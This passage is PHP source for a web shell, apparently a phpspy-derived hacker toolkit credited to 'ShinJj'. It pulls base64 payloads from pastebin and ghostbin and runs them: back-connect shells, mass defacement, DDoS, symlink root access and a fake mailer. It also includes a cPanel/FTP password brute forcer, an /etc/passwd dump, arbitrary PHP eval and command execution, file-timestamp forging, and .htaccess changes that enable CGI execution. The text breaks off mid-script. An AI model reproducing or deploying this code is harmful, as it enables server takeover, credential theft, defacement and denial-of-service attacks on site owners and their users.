ZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';    $file       = fopen("command.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";}//end NewCommand//symrootelseif ($action == 'symroot') {   $file       = fopen($dir . "symroot.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');    $file       = fopen("symroot.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";	}//Zipcodeelseif ($action == 'zipcode') {     $file       = fopen($dir . "zipcode.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');    $file       = fopen("zipcode.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";	}//Massdefaceelseif ($action == 'mass') {    $file       = fopen($dir . "mass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');    $file       = fopen("mass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='mass.php' width='100%' height='500'></iframe>";	}//ShellBypasselseif ($action == 'vb') {	 $file       = fopen($dir . "shellbypass.php", "w+");    $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');    $file       = fopen("shellbypass.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";	}elseif ($action == 'termi') {    $file       = fopen($dir . "DGTerminal.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');    $file       = fopen("DGTerminal.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";	} elseif ($action == 'cgipin') {    mkdir('Pin', 0755);    chdir('Pin');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +ExecCGIAddHandler cgi-script cgi pl cgi gmc pin jpgRewriteEngine onRewriteRule (.*)\.mil$ $1.cgiOptions +FollowSymLinksDirectoryIndex cmd.htmlOptions +IndexesRemoveHandler .hackAddType text/plain .hack";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');    $file = fopen("cgi.pin", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("cgi.pin", 0755);    echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'telnet') {    mkdir('tel', 0755);    chdir('tel');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +FollowSymLinks +IndexesDirectoryIndex default.html ## START ##Options +ExecCGIAddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone AddType application/x-httpd-php .jpgRewriteEngine onRewriteRule (.*)\war$ .log## END ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');    $file = fopen("telnet.pl", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("telnet.pl", 0755);    echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";}elseif ($action == 'endecode') {$en  = 'http://pastebin.com/raw.php?i=y5Qhr0WM';$de = file_get_contents($en);$cone = fopen('endecode.php', 'w');fwrite($cone,$de);fclose($cone);echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";}elseif ($action == 'ddosv2') {$ddosv  = 'http://pastebin.com/raw.php?i=XYwv7CSa';$dess = file_get_contents($ddosv);$coneww = fopen('ddosv2.php', 'w');fwrite($coneww,$dess);fclose($coneww);echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";}elseif ($action == 'bcphp') {    $file       = fopen($dir . "backconnect.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');    $file       = fopen("backconnect.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";}elseif ($action == 'viewdomain') {$viewdomain  = 'http://pastebin.com/raw.php?i=iGsiu7uK';$desszzzz = file_get_contents($viewdomain);$coww = fopen('viewdomain.php', 'w');fwrite($coww,$desszzzz);fclose($coww);echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";}elseif ($action == 'scan') {    $file       = fopen($dir . "scan.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');    $file       = fopen("scan.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='scan.php' width='100%' height='500'></iframe>";}elseif ($action == 'massfd') {    $file       = fopen($dir . "massfd.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');    $file       = fopen("massfd.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);    echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";}elseif ($action == 'reverseip') {       echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";} elseif ($action == 'spam') {    $file       = fopen($dir . "fakemail.php", "w+");    $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');    $file       = fopen("fakemail.php", "w+");    $write      = fwrite($file, base64_decode($perltoolss));    fclose($file);   echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";}//Bugshellelseif ($action == 'bug') {$bug  = 'http://pastebin.com/raw.php?i=07hwC5fW';$bugshell = file_get_contents($bug);$bs = fopen('bugshell.php', 'w');fwrite($bs,$bugshell);fclose($mdf);echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";}//FINDADMINelseif ($action == 'findadmin') {$find  = 'http://pastebin.com/raw.php?i=8UmXBduC';$admin = file_get_contents($find);$dmm = fopen('findadmin.php', 'w');fwrite($dmm,$admin);fclose($dmm);echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";}// Bruteelseif ($action == 'brute') {formhead(array('title'=>'Brute Forcer'));	makehide('action','brute');	makehide('dir',$brute);@ini_set('memory_limit', 1000000000000);$connect_timeout=5;@set_time_limit(0);$submit = $_REQUEST['submit'];$users = $_REQUEST['users'];$pass = $_REQUEST['passwords'];$target = $_REQUEST['target'];$option = $_REQUEST['option'];$passlist = "01234560123456701234567801234567890123456789012345612345671234567812345678912345678901111110000002222223333334444445555556666667777778888889999991231234564567897891233214566546543217654321876543219876543210987654321admina[email protected][email protected]";if($target == ''){$target = 'localhost';}print " <div align='center'><form method='post' style='border: 1px solid #000000'><br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td><b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p><div align='center'><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td align='center'><b>Username</b></td><td><p align='center'><b>Password</b></td></tr></table><p align='center'><textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";$i = 0;while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}echo "</textarea><textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br><br><b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p></td></tr></table></td></tr></form><p align= 'left'>";?><?phpfunction ftp_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> Error : Connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ [email protected] ]# </b><b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:[email protected]$host:2082 target=_blank>Login</a></b><br>");}curl_close($ch);}function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);if ( curl_errno($ch) == 28 ) {print "<b> Error : Connection timed out , make confidence about validation of target !</b>";exit;}elseif ( curl_errno($ch) == 0 ){p("<b>[ [email protected] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}if(isset($submit) && !empty($submit)){$userlist = explode ("\n" , $users );$passlist = explode ("\n" , $pass );p('<b>[ [email protected] ]# Attacking ...</font></b><br>');foreach ($userlist as $user) {$_user = trim($user);foreach ($passlist as $password ) {$_pass = trim($password);if($option == "ftp"){ftp_check($target,$_user,$_pass,$connect_timeout);}if ($option == "cpanel"){cpanel_check($target,$_user,$_pass,$connect_timeout);}}}}	formfoot();}elseif ($action == 'etcpwd') {formhead(array('title'=>'Get /etc/passwd'));	makehide('action','etcpwd');	makehide('dir',$nowpath);$i = 0; echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";while ($i < 60000) {    $line = posix_getpwuid($i);    if (!empty($line)) {        while (list ($key, $vba_etcpwd) = each($line)){            echo "".$vba_etcpwd."\n";            break;        }    }   $i++;}  echo "</textarea></p>";	formfoot();}elseif ($action == 'eval') {	$phpcode = trim($phpcode);	if($phpcode){		if (!preg_match('#<\?#si', $phpcode)) {			$phpcode = "<?php\n\n{$phpcode}\n\n?>";		}		eval("?".">$phpcode<?");	}	formhead(array('title'=>'Eval PHP Code'));	makehide('action','eval');	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));	p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');	formfooter();}//end evalelseif ($action == 'editfile') {	if(file_exists($opfile)) {		[email protected]($opfile,'r');		[email protected]($fp, filesize($opfile));		@fclose($fp);		$contents=htmlspecialchars($contents);	}	formhead(array('title'=>'Create / Edit File'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));	formfooter();}//end editfileelseif ($action == 'newtime') {	$opfilemtime = @filemtime($opfile);	//$time = strtotime("$year-$month-$day $hour:$minute:$second");	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);	formhead(array('title'=>'Clone file was last modified time'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));	formfooter();	formhead(array('title'=>'Set last modified'));	makehide('action','file');	makehide('dir',$nowpath);	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));	p('<p>Instead &raquo;');	p('year:');	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));	p('month:');	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));	p('day:');	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));	p('hour:');	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));	p('minute:');	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));	p('second:');	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));	p('</p>');	formfooter();}//end newtimeelseif ($action == 'shell') {	if (IS_WIN && IS_COM) {		if($program && $parameter) {			$shell= new COM('Shell.Application');			$a = $shell->ShellExecute($program,$parameter);			m('Program run has '.(!$a ? 'success' : 'fail'));		}		!$program && $program = 'c:\windows\system32\cmd.exe';		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';		formhead(array('title'=>'Execute Program'));		makehide('action','shell');		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));		p('<p>');		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));		p('</p>');		formfoot();	}	formhead(array('title'=>'Execute Command'));	makehide('action','shell');	if (IS_WIN && IS_COM) {		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));	}	p('<p>');	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));	p('</p>');	formfoot();	if ($command) {		p('<hr width="100%" noshade /><pre>');		if ($execfunc=='wscript' && IS_WIN && IS_COM) {			$wsh = new COM('WScript.shell');			$exec = $wsh->exec('cmd.exe /c '.$command);			$stdout = $exec->StdOut();			$stroutput = $stdout->ReadAll();			echo $stroutput;		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {			$descriptorspec = array(			   0 => array('pipe', 'r'),			   1 => array('pipe', 'w'),			   2 => array('pipe', 'w')			);			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);			if (is_resource($process)) {				fwrite($pipes[0], $command."\r\n");				fwrite($pipes[0], "exit\r\n");				fclose($pipes[0]);				while (!feof($pipes[1])) {					echo fgets($pipes[1], 1024);				}				fclose($pipes[1]);				while (!feof($pipes[2])) {					echo fgets($pipes[2], 1024);				}				fclose($pipes[2]);				proc_close($process);			}		} else {			echo(execute($command));		}		p('</pre>');	}}//end shellelseif ($action == 'phpenv') {	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');	!$dis_func && $dis_func = 'No';	$info = array(		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),		2 => array('Server Domain',$_SERVER['SERVER_NAME']),		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),		4 => array('Server OS',PHP_OS),		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),		8 => array('PHP run mode',strtoupper(php_sapi_name())),		9 => array('The file path',__FILE__),		10 => array('PHP Version',PHP_VERSION),		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),		12 => array('Safe Mode',getcfg('safe_mode')),		13 => array('Administrator',$adminmail),		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),		15 => array('enable_dl',getcfg('enable_dl')),		16 => array('display_errors',getcfg('display_errors')),		17 => array('register_globals',getcfg('register_globals')),		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),		19 => array('memory_limit',getcfg('memory_limit')),		20 => array('post_max_size',getcfg('post_max_size')),		21 => array('upload_max_filesize',$upsize),		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),		23 => array('disable_functions',$dis_func),	);	if($phpvarname) {		m($phpvarname .' : '.getcfg($phpvarname));	}	formhead(array('title'=>'Server environment'));	makehide('action','phpenv');	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));	formfooter();	$hp = array(0=> 'Server', 1=> 'PHP');	for($a=0;$a<2;$a++) {		p('<h2>'.$hp[$a].' &raquo;</h2>');		p('<ul class="info">');		if ($a==0) {			for($i=1;$i<=9;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		} elseif ($a == 1) {			for($i=10;$i<=23;$i++) {				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');			}		}		p('</ul>');	}}//end phpenvelse {	m('Undefined Action');}?></td></tr></table><div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>	Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/profile.php?id=100011074965700 target=_blank><B>ShinJj   </B></a> - <B>All Rights Reserved.</B> </div></body></html><?php/*======================================================Show info shell======================================================*/function m($msg) {	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';	echo $msg;	echo '</div>';}function scookie($key, $value, $life = 0, $prefix = 1) {	global $admin, $timestamp, $_SERVER;	$key = ($prefix ? $admin['cookiepre'] : '').$key;	$life = $life ? $life : $admin['cookielife'];	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);}function multi($num, $perpage, $curpage, $tablename) {	$multipage = '';	if($num > $perpage) {		$page = 10;		$offset = 5;		$pages = @ceil($num / $perpage);		if($page > $pages) {			$from = 1;			$to = $pages;		} else {			$from = $curpage - $offset;			$to = $curpage + $page - $offset - 1;			if($from < 1) {				$to = $curpage + 1 - $from;				$from = 1;				if(($to - $from) < $page && ($to - $from) < $pages) {					$to = $page;				}			} elseif($to > $pages) {				$from = $curpage - $pages + $to;				$to = $pages;				if(($to - $from) < $page && ($to - $from) < $pages) {					$from = $pages - $page + 1;				}			}		}		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');		for($i = $from; $i <= $to; $i++) {			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';		}		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';	}	return $multipage;}// Login pagefunction loginpage() {?><html><head>		<meta http-equiv="Content-Type" content="text/html; charset=gbk" /><div class="clock"><div id="Date"></div>  <ul>      <li id="hours"></li>      <li id="point">:</li>      <li id="min"></li>      <li id="point">:</li>      <li id="sec"></li>  </ul>  <body bgcolor="black"></body></div>		<style type="text/css">		@font-face {    font-family: 'BebasNeueRegular';    src: url('/BebasNeue-webfont.eot');    src: url('//BebasNeue-webfont.eot') ('embedded-opentype'),         url('/BebasNeue-webfont.woff') ('woff'),         url('/BebasNeue-webfont.ttf') ('truetype'),         url('/BebasNeue-webfont.svg') ('svg');    font-weight: normal;    font-style: normal;}.clock {    width: 800px;    margin: 0 auto;    padding: 30px;    border: 1px solid #333;    color: #fff;} #Date {    font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;    font-size: 36px;    text-align: center;    text-shadow: 0 0 5px #00c6ff;} ul {    width: 800px;    margin: 0 auto;    padding: 0px;    list-style: none;    text-align: center;} ul li {    display: inline;    font-size: 10em;    text-align: center;    font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;    text-shadow: 0 0 5px #00c6ff;} #point {    position: relative;    -moz-animation: mymove 1s ease infinite;    -webkit-animation: mymove 1s ease infinite;    padding-left: 10px;    padding-right: 10px;}@-webkit-keyframes mymove {    0% {opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;} 50% {    opacity: 0;    text-shadow: none;} 100% {    opacity: 1.0;    text-shadow: 0 0 20px #00c6ff;}} @-moz-keyframes mymove {    0% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    }     50% {        opacity: 0;        text-shadow: none;    }     100% {        opacity: 1.0;        text-shadow: 0 0 20px #00c6ff;    };}</style><script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script><script type="text/javascript">$(document).ready(function() {// Tao 2 mang chua ten ngay thangvar monthNames = [ "January", "February", "March", "April", 